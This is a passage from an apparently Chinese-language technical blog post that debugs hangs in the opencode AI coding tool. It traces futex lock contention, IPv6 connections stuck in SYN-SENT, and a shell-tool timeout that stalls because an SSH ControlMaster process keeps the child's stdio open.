sleep 5; kill %1 2&amp;gt;&amp;#x2F;dev&amp;#x2F;null; wait 2&amp;gt;&amp;#x2F;dev&amp;#x2F;null
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;5 秒内的系统调用分布：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;% time     seconds  calls    errors  syscall
 79.64    0.097539  20345      252  futex
 16.14    0.019772   2649            sched_yield
  2.56    0.003137    389            epoll_pwait2
  0.67    0.000821   1616            clock_gettime
  0.29    0.000359    277            pread64
  0.18    0.000215    281            read
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;关键数据：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;79.6% 时间花在 futex&lt;&#x2F;strong&gt; — 20,345 次调用，线程在抢锁&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;16.1% 花在 sched_yield&lt;&#x2F;strong&gt; — 2,649 次，争不到锁主动让出 CPU&lt;&#x2F;li&gt;
&lt;li&gt;真正的 I&#x2F;O（read&#x2F;write）占比可以忽略&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;xian-cheng-fen-bu&quot;&gt;线程分布&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ps -Lp 138479 -o lwp,psr,pcpu,stat,wchan:32 --no-headers | sort -k3 -rn | head -10
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;  lwp  psr  pcpu  stat  wchan
138479   0   7.3  Rl+   -                  # 主线程 running
142051   3   3.4  Sl+   do_epoll_wait
138494   2   2.2  Sl+   do_epoll_wait
138487  14   0.9  Sl+   futex_wait_queue    # 7个线程等锁
138484   0   0.9  Rl+   futex_wait_queue     # 1个线程在 futex 中 running
...
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;~20 个线程&lt;&#x2F;strong&gt; 在 &lt;code&gt;futex_wait_queue&lt;&#x2F;code&gt;，1 个主线程在用户态跑，其余在 &lt;code&gt;do_epoll_wait&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;gen-yin-fen-xi&quot;&gt;根因分析&lt;&#x2F;h2&gt;
&lt;p&gt;进一步跟踪 futex 操作：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;strace -p 138479 -e trace=futex 2&amp;gt;&amp;amp;1 | head -20
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;futex(0x7f601c0b4154, FUTEX_WAKE_PRIVATE, 1) = 1
futex(0x7f601c0c0154, FUTEX_WAKE_PRIVATE, 1) = 1
futex(0x7f601c0e0150, FUTEX_WAKE_PRIVATE, 1) = 1
futex(0x7f601c0b4154, FUTEX_WAKE_PRIVATE, 1) = 1
...
futex(0x7f601c01f154, FUTEX_WAIT_BITSET_PRIVATE|FUTEX_CLOCK_REALTIME,
      125123, NULL, FUTEX_BITSET_MATCH_ANY) = -1 EAGAIN
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;模式&lt;&#x2F;strong&gt;：大量 &lt;code&gt;FUTEX_WAKE_PRIVATE&lt;&#x2F;code&gt; 唤醒 + 偶尔 &lt;code&gt;FUTEX_WAIT_BITSET_PRIVATE&lt;&#x2F;code&gt; 超时（EAGAIN）。多个 futex 地址集中在同一内存区（&lt;code&gt;0x7f601c0bxxx-0x7f601c0fxxx&lt;&#x2F;code&gt;），像是一个线程池任务队列上的锁。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;结论：惊群效应 + 严重锁争抢。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;有大量线程同时被唤醒去竞争少数任务或资源&lt;&#x2F;li&gt;
&lt;li&gt;大部分线程发现没活可干又 sleep，如此循环&lt;&#x2F;li&gt;
&lt;li&gt;CPU 大部分消耗在 futex 调度上而非实际工作&lt;&#x2F;li&gt;
&lt;li&gt;进程&quot;活着&quot;（能响应请求），但有效吞吐极低&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;可能诱因：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;线程池过大（40 线程 vs 实际 CPU 核数），过多线程争抢同一把锁&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;big-pickle&lt;&#x2F;code&gt; 本地 LLM 推理慢，IO 线程在等待结果期间造成锁堆积&lt;&#x2F;li&gt;
&lt;li&gt;39 个 LSP server 同时启动，大量并发初始化请求冲击线程池&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;hr &#x2F;&gt;
&lt;h1 id=&quot;di-san-ci-pai-cha-ipv6-lian-jie-qia-zhu-syn-sent&quot;&gt;第三次排查：IPv6 连接卡住 SYN-SENT&lt;&#x2F;h1&gt;
&lt;p&gt;解决第一个进程后，又启动了一个新的 opencode（PID 183287）。这次 CPU 很低（2.8%），但也不响应。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;ji-chu-xin-xi&quot;&gt;基础信息&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ps -p 183287 -o pid,stat,wchan,pcpu,cmd
# → 183287  Sl+  do_epoll_wait  2.8  opencode --log-level DEBUG

cat &amp;#x2F;proc&amp;#x2F;183287&amp;#x2F;status | grep -E &amp;#x27;State|VmRSS|Threads&amp;#x27;
# → State:  S (sleeping)
# → VmRSS: 511812 kB
# → Threads: 16
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;16 线程，512MB，2.8% CPU，状态 S（sleeping）。和上一个完全不同。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;xian-cheng-fen-bu-1&quot;&gt;线程分布&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;  lwp    pcpu  wchan
183348   0.8   do_epoll_wait
183287   0.6   do_epoll_wait     # 主线程
183295   0.1   futex_wait_queue
...其他线程都在 sleep...
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;所有线程 ≤ 0.8% CPU，大部分在 futex 上 sleep。进程完全&lt;strong&gt;空闲&lt;&#x2F;strong&gt;，不是在忙，是真的在等什么。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;kan-wen-jian-miao-shu-fu&quot;&gt;看文件描述符&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ls -la &amp;#x2F;proc&amp;#x2F;183287&amp;#x2F;fd&amp;#x2F; | grep socket
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;35 -&amp;gt; socket:[56963599]
36 -&amp;gt; socket:[56963601]
37 -&amp;gt; socket:[56963600]
38 -&amp;gt; socket:[56962309]
39 -&amp;gt; socket:[56963602]
40 -&amp;gt; socket:[56963603]
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;共 &lt;strong&gt;6 个 socket&lt;&#x2F;strong&gt;。用 &lt;code&gt;ss&lt;&#x2F;code&gt; 看它们的连接状态：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ss -npep | grep 183287
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;fd&lt;&#x2F;th&gt;&lt;th&gt;TCP 状态&lt;&#x2F;th&gt;&lt;th&gt;本地&lt;&#x2F;th&gt;&lt;th&gt;远端&lt;&#x2F;th&gt;&lt;th&gt;说明&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;38&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;ESTABLISHED&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;192.168.5.99:53102&lt;&#x2F;td&gt;&lt;td&gt;172.67.69.147:443&lt;&#x2F;td&gt;&lt;td&gt;Cloudflare IPv4 ✅&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;40&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;ESTABLISHED&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;192.168.5.99:59558&lt;&#x2F;td&gt;&lt;td&gt;20.205.243.165:443&lt;&#x2F;td&gt;&lt;td&gt;Microsoft&#x2F;GitHub ✅&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;35&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;SYN-SENT&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;[3000::5054:ff:fe87:f354]:38682&lt;&#x2F;td&gt;&lt;td&gt;[2606:4700::6810:a22]:443&lt;&#x2F;td&gt;&lt;td&gt;Cloudflare IPv6 ❌&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;36&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;SYN-SENT&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;[3000::5054:ff:fe87:f354]:60690&lt;&#x2F;td&gt;&lt;td&gt;[2606:4700::6810:422]:443&lt;&#x2F;td&gt;&lt;td&gt;Cloudflare IPv6 ❌&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;37&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;SYN-SENT&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;[3000::5054:ff:fe87:f354]:46750&lt;&#x2F;td&gt;&lt;td&gt;[2606:4700::6810:222]:443&lt;&#x2F;td&gt;&lt;td&gt;Cloudflare IPv6 ❌&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;39&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;SYN-SENT&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;[3000::5054:ff:fe87:f354]:49118&lt;&#x2F;td&gt;&lt;td&gt;[2606:4700::6810:322]:443&lt;&#x2F;td&gt;&lt;td&gt;Cloudflare IPv6 ❌&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;&lt;strong&gt;4 个连接卡在 SYN-SENT&lt;&#x2F;strong&gt;，目标全是 Cloudflare 的 IPv6 地址段 &lt;code&gt;2606:4700::&#x2F;32&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;yan-zheng-ipv6-bu-tong&quot;&gt;验证 IPv6 不通&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ip -6 route show default
# → default via fe80::c0b1:65ff:fe3e:68c3 dev enp1s0

ping6 -c 2 -W 2 2606:4700::6810:a22
# → 2 packets transmitted, 0 received, 100% packet loss
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;IPv6 路由存在，但实际不通 —— ping Cloudflare IPv6 地址 100% 丢包。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;gen-yin-fen-xi-1&quot;&gt;根因分析&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;code&gt;big-pickle&lt;&#x2F;code&gt; 模型 API 通过 Cloudflare 托管，DNS 同时返回了 A 和 AAAA 记录。Node.js HTTP 客户端默认执行 &lt;strong&gt;Happy Eyeballs（RFC 8305）&lt;&#x2F;strong&gt;：优先尝试 IPv6，如果连接建立缓慢，才回退到 IPv4。&lt;&#x2F;p&gt;
&lt;p&gt;问题在于：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;DNS 返回了多个 Cloudflare IPv6 地址&lt;&#x2F;li&gt;
&lt;li&gt;Node.js 尝试并发连接所有 IPv6 地址&lt;&#x2F;li&gt;
&lt;li&gt;内核发出 SYN 后收不到 SYN-ACK，连接进入 &lt;strong&gt;SYN-SENT&lt;&#x2F;strong&gt; 状态&lt;&#x2F;li&gt;
&lt;li&gt;内核每 20 秒重传一次 SYN，总超时可达 &lt;strong&gt;120 秒以上&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;li&gt;在此之前，IPv4 的请求即使已成功，部分客户端逻辑可能仍在等待 IPv6 尝试完成&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;这解释了为什么进程看起来&quot;卡住了&quot;：它不是在死循环，而是事件循环被大量 pending 的 TCP 连接超时拖着，无法及时处理已就绪的请求。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;lin-shi-huan-jie&quot;&gt;临时缓解&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 方式 1：Node.js 层优先 IPv4
NODE_OPTIONS=&amp;quot;--dns-result-order=ipv4first&amp;quot; opencode

# 方式 2：系统层禁用 IPv6
sudo sysctl -w net.ipv6.conf.all.disable_ipv6=1
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;gen-ben-xiu-fu&quot;&gt;根本修复&lt;&#x2F;h2&gt;
&lt;p&gt;排查 IPv6 路由&#x2F;网关问题，或确保 big-pickle API 域名在本地只解析到 IPv4。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h1 id=&quot;di-si-ci-pai-cha-shell-tool-chao-shi-shi-xiao-zi-jin-cheng-tui-chu-hou-reng-qia-si&quot;&gt;第四次排查：shell tool 超时失效，子进程退出后仍卡死&lt;&#x2F;h1&gt;
&lt;p&gt;现象：opencode 卡在一条 &lt;code&gt;ssh dut ...&lt;&#x2F;code&gt; 命令上，TUI 一直显示运行中。命令显式传了 &lt;code&gt;timeout: 180000&lt;&#x2F;code&gt;（3 分钟），但 20 分钟后仍未恢复。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;que-ren-tool-de-zhen-shi-zhuang-tai&quot;&gt;确认 tool 的真实状态&lt;&#x2F;h2&gt;
&lt;p&gt;会话数据在 SQLite 里，可以只读查工具调用的状态：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sqlite3 &amp;quot;file:$HOME&amp;#x2F;.local&amp;#x2F;share&amp;#x2F;opencode&amp;#x2F;opencode.db?mode=ro&amp;quot; \
  &amp;quot;select id, substr(data,1,400) from part where message_id=&amp;#x27;msg_xxx&amp;#x27;;&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;关键输出：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;json&quot; class=&quot;language-json &quot;&gt;&lt;code class=&quot;language-json&quot; data-lang=&quot;json&quot;&gt;{&amp;quot;type&amp;quot;:&amp;quot;tool&amp;quot;,&amp;quot;tool&amp;quot;:&amp;quot;bash&amp;quot;,&amp;quot;state&amp;quot;:{
  &amp;quot;metadata&amp;quot;:{&amp;quot;output&amp;quot;:&amp;quot;=== 宿主 9119 占用检查:\nfree\n=== 建立 forward:\n&amp;quot;},
  &amp;quot;status&amp;quot;:&amp;quot;running&amp;quot;,
  &amp;quot;input&amp;quot;:{&amp;quot;command&amp;quot;:&amp;quot;...&amp;quot;,&amp;quot;timeout&amp;quot;:180000}}}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;status: running&lt;&#x2F;code&gt;。再对照日志，只有 &lt;code&gt;tool.execute.before&lt;&#x2F;code&gt;，没有 &lt;code&gt;tool.execute.after&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;rg -a &amp;quot;run=&amp;lt;run-id&amp;gt;&amp;quot; ~&amp;#x2F;.local&amp;#x2F;share&amp;#x2F;opencode&amp;#x2F;log&amp;#x2F;opencode.log | tail -30
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;说明不是命令还在跑，而是&lt;strong&gt;工具调用本身没有返回&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;jin-cheng-xian-chang-mei-you-zi-jin-cheng-xian-cheng-quan-kong-xian&quot;&gt;进程现场：没有子进程，线程全空闲&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ps -eo pid,ppid,etime,stat,pcpu,args | grep opencode
ps --ppid &amp;lt;opencode-pid&amp;gt; -o pid,etime,stat,args
cat &amp;#x2F;proc&amp;#x2F;&amp;lt;opencode-pid&amp;gt;&amp;#x2F;task&amp;#x2F;*&amp;#x2F;children
ps -L -p &amp;lt;opencode-pid&amp;gt; -o tid,stat,wchan:30,pcpu
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;结果：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;子进程已经不存在（超时确实把 ssh 杀了）&lt;&#x2F;li&gt;
&lt;li&gt;所有线程停在 &lt;code&gt;do_epoll_wait&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;futex_wait&lt;&#x2F;code&gt;，CPU 空闲&lt;&#x2F;li&gt;
&lt;li&gt;没有 pending 的定时器&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;也就是说 opencode 不是在执行，而是在&lt;strong&gt;等一个永远不会完成的事件&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;kan-fd-socket-de-dui-duan-shi-yi-ge-ssh-mux-master&quot;&gt;看 fd：socket 的对端是一个 ssh mux master&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ls -l &amp;#x2F;proc&amp;#x2F;&amp;lt;opencode-pid&amp;gt;&amp;#x2F;fd
ss -xp | grep &amp;lt;socket-inode&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;lr-x------ ... 32 -&amp;gt; pipe:[68117385]
l-wx------ ... 34 -&amp;gt; pipe:[68117385]
lrwx------ ... 43 -&amp;gt; socket:[69068876]

u_str ESTAB 0 0 * 69068877 * 69068876 users:((&amp;quot;ssh&amp;quot;,pid=475007,fd=16))
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;socket 的另一端不在已经死掉的子进程里，而在一个持久进程里：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;ssh: &amp;#x2F;home&amp;#x2F;peter&amp;#x2F;.ssh&amp;#x2F;socket&amp;#x2F;smyl@192.168.7.1-22 [mux]
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;用 &lt;code&gt;ps -o lstart&lt;&#x2F;code&gt; 对比启动时间，确认 master 正是同一个 opencode run 第一次 &lt;code&gt;ssh dut&lt;&#x2F;code&gt; 时创建的。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;liang-ge-guan-jian-ji-zhi&quot;&gt;两个关键机制&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;1-jin-cheng-tui-chu-stdio-guan-bi&quot;&gt;1. 进程退出 ≠ stdio 关闭&lt;&#x2F;h3&gt;
&lt;p&gt;Node&#x2F;Bun 的 child_process 有两个事件：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;事件&lt;&#x2F;th&gt;&lt;th&gt;触发条件&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;exit&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;进程结束&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;close&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;进程结束 &lt;strong&gt;且&lt;&#x2F;strong&gt; stdout&#x2F;stderr 全部 EOF&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;opencode 的 spawner 只在 &lt;code&gt;close&lt;&#x2F;code&gt; 上完成内部 Deferred（&lt;code&gt;packages&#x2F;core&#x2F;src&#x2F;cross-spawn-spawner.ts&lt;&#x2F;code&gt;）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;ts&quot; class=&quot;language-ts &quot;&gt;&lt;code class=&quot;language-ts&quot; data-lang=&quot;ts&quot;&gt;proc.on(&amp;quot;exit&amp;quot;, (...args) =&amp;gt; { exit = args })   &amp;#x2F;&amp;#x2F; 只记录
proc.on(&amp;quot;close&amp;quot;, (...args) =&amp;gt; {                 &amp;#x2F;&amp;#x2F; 只有这里完成 Deferred
  if (end) return
  end = true
  Deferred.doneUnsafe(signal, Exit.succeed(exit ?? args))
})
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;exitCode&lt;&#x2F;code&gt; 和 &lt;code&gt;kill&lt;&#x2F;code&gt; 都 await 这个 Deferred。子进程死了只触发 &lt;code&gt;exit&lt;&#x2F;code&gt;，不触发 &lt;code&gt;close&lt;&#x2F;code&gt; → 永远等不到。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-ssh-controlmaster-ba-ke-hu-duan-de-stdio-fd-chuan-gei-liao-master&quot;&gt;2. SSH ControlMaster 把客户端的 stdio fd 传给了 master&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;code&gt;~&#x2F;.ssh&#x2F;my_config&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;ControlMaster auto
ControlPath ~&amp;#x2F;.ssh&amp;#x2F;socket&amp;#x2F;%r@%h-%p
ControlPersist 1h
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;ssh&lt;&#x2F;code&gt; 复用已有 master 时，会把客户端自己的 stdin&#x2F;stdout&#x2F;stderr 通过 SCM_RIGHTS 发给 master（OpenSSH &lt;code&gt;mux.c&lt;&#x2F;code&gt;）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&amp;#x2F;* Send the stdio file descriptors *&amp;#x2F;
if (mm_send_fd(fd, STDIN_FILENO) == -1 ||
    mm_send_fd(fd, STDOUT_FILENO) == -1 ||
    mm_send_fd(fd, STDERR_FILENO) == -1)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;之后数据通路是 master ↔ 远端，本地客户端只是等待者。&lt;strong&gt;客户端死了，master 还拿着这些 fd&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;qia-si-lian-tiao&quot;&gt;卡死链条&lt;&#x2F;h2&gt;
&lt;ol&gt;
&lt;li&gt;远端 &lt;code&gt;openshell forward start 9119 pi -d&lt;&#x2F;code&gt; 卡住不退出 → SSH channel 不关&lt;&#x2F;li&gt;
&lt;li&gt;3 分钟超时到点：opencode kill 子进程组（&lt;code&gt;packages&#x2F;opencode&#x2F;src&#x2F;tool&#x2F;shell.ts&lt;&#x2F;code&gt; 的 &lt;code&gt;Effect.raceAll&lt;&#x2F;code&gt; timeout 分支）&lt;&#x2F;li&gt;
&lt;li&gt;ssh 子进程死了 → &lt;code&gt;exit&lt;&#x2F;code&gt; 触发&lt;&#x2F;li&gt;
&lt;li&gt;但 stdout 的子端还在 mux master 手里 → opencode 的 fd 43 等不到 EOF → &lt;code&gt;close&lt;&#x2F;code&gt; 不触发&lt;&#x2F;li&gt;
&lt;li&gt;spawner 的 Deferred 永不完成；超时收尾的 &lt;code&gt;handle.kill()&lt;&#x2F;code&gt; 发完信号后 await 的也是它 → 永久挂起&lt;&#x2F;li&gt;
&lt;li&gt;tool part 停在 &lt;code&gt;running&lt;&#x2F;code&gt;，界面看起来卡死&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h2 id=&quot;wei-shen-me-chao-shi-dou-bu-zhu&quot;&gt;为什么超时兜不住&lt;&#x2F;h2&gt;
&lt;p&gt;默认超时（2 分钟，可用 &lt;code&gt;OPENCODE_EXPERIMENTAL_BASH_DEFAULT_TIMEOUT_MS&lt;&#x2F;code&gt; 覆盖）只保证&lt;strong&gt;发出 kill 信号&lt;&#x2F;strong&gt;，不保证 kill &lt;strong&gt;返回&lt;&#x2F;strong&gt;。正常命令子进程一死、stdio 关闭，工具立刻返回；这个 case 的等待条件（&lt;code&gt;close&lt;&#x2F;code&gt;）被 master 破坏，超时链路自己挂在收尾阶段。&lt;&#x2F;p&gt;
&lt;p&gt;另外 kill 打的是子进程组（&lt;code&gt;detached: true&lt;&#x2F;code&gt; 让子进程自成一组），mux master 是 setsid 出去的独立进程（PPID=1），不在组里，杀不到。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;jie-qia-yu-yan-zheng&quot;&gt;解卡与验证&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 让 master 退出，释放它持有的 fd
GPG_TTY=&amp;#x2F;dev&amp;#x2F;nonexistent ssh -O exit dut
# → Exit request sent.
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;master 退出后立刻验证：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ps -o pid,ppid,etime,args -p &amp;lt;mux-master-pid&amp;gt;
# → 进程已不存在
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;同时 SQLite 里卡了 35 分钟的 tool part 瞬间变成 &lt;code&gt;completed&lt;&#x2F;code&gt;，输出里补上了超时提示：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;json&quot; class=&quot;language-json &quot;&gt;&lt;code class=&quot;language-json&quot; data-lang=&quot;json&quot;&gt;{&amp;quot;state&amp;quot;:{&amp;quot;status&amp;quot;:&amp;quot;completed&amp;quot;,
 &amp;quot;time&amp;quot;:{&amp;quot;start&amp;quot;:1789109953224,&amp;quot;end&amp;quot;:1789112057634},
 &amp;quot;metadata&amp;quot;:{&amp;quot;output&amp;quot;:&amp;quot;=== 宿主 9119 占用检查:\nfree\n=== 建立 forward:\n&amp;quot;,&amp;quot;exit&amp;quot;:null},
 &amp;quot;output&amp;quot;:&amp;quot;...\n&amp;lt;shell_metadata&amp;gt;\nshell tool terminated command after exceeding timeout 180000 ms. ...\n&amp;lt;&amp;#x2F;shell_metadata&amp;gt;&amp;quot;}}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;日志里也补上了缺失的 &lt;code&gt;tool.execute.after&lt;&#x2F;code&gt;，session 继续往下走：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;07:34:17 tool.execute.after messageId=msg_08f434c290015k7qJN7Xkp3Haa
07:34:17 loop step=13
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;时间线对照：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;14:59:13  命令启动（timeout=180000）
15:02:13  超时到点，子进程被杀，但工具挂在收尾
15:34:17  ssh -O exit dut → master 退出，fd 释放
15:34:17  close 触发，工具立即返回，session 恢复
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;也就是说超时后它又挂了 32 分钟，直到 master 释放 fd 才收尾。代价是复用该 master 的其它 ssh 会话（两个交互式 &lt;code&gt;ssh dut&lt;&#x2F;code&gt;）一起断。&lt;&#x2F;p&gt;
&lt;p&gt;预防：在 opencode 里执行的 ssh 命令显式禁用复用：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ssh -o ControlMaster=no -o ControlPath=none dut ...
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
